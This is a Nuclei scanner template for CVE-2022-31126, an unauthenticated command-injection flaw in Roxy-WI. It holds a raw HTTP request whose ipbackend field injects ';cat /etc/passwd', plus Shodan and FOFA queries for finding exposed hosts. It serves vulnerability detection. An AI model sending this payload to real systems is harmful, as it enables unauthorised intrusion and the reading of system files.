Roxy-WI <6.1.1.0 - Remote Code Execution

id: CVE-2022-31126

info:
  name: Roxy-WI <6.1.1.0 - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Users are advised to upgrade to latest version.
  reference:
    - http://packetstormsecurity.com/files/167805/Roxy-WI-Remote-Command-Execution.html
    - https://www.cve.org/CVERecord?id=CVE-2022-31137
    - https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31137
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31126
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31126
    cwe-id: CWE-74
    epss-score: 0.84229
    epss-percentile: 0.98401
    cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: roxy-wi
    product: roxy-wi
    shodan-query:
      - http.html:"Roxy-WI"
      - http.html:"roxy-wi"
    fofa-query: body="roxy-wi"
  tags: cve2022,cve,rce,unauth,roxy,packetstorm,roxy-wi

http:
  - raw:
      - |
        POST /app/options.py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/app/login.py

        alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220156a32c08579a4ceeef3d9260ddc2ec8857ce6b50414ec4a8e3072914c771a4002200881c2fb9c2fc0a2d32b6467adc64aeb6ea666554ce72ec3ee67b8be7453c1f2:922c64590222798bb761d5b6d8e72950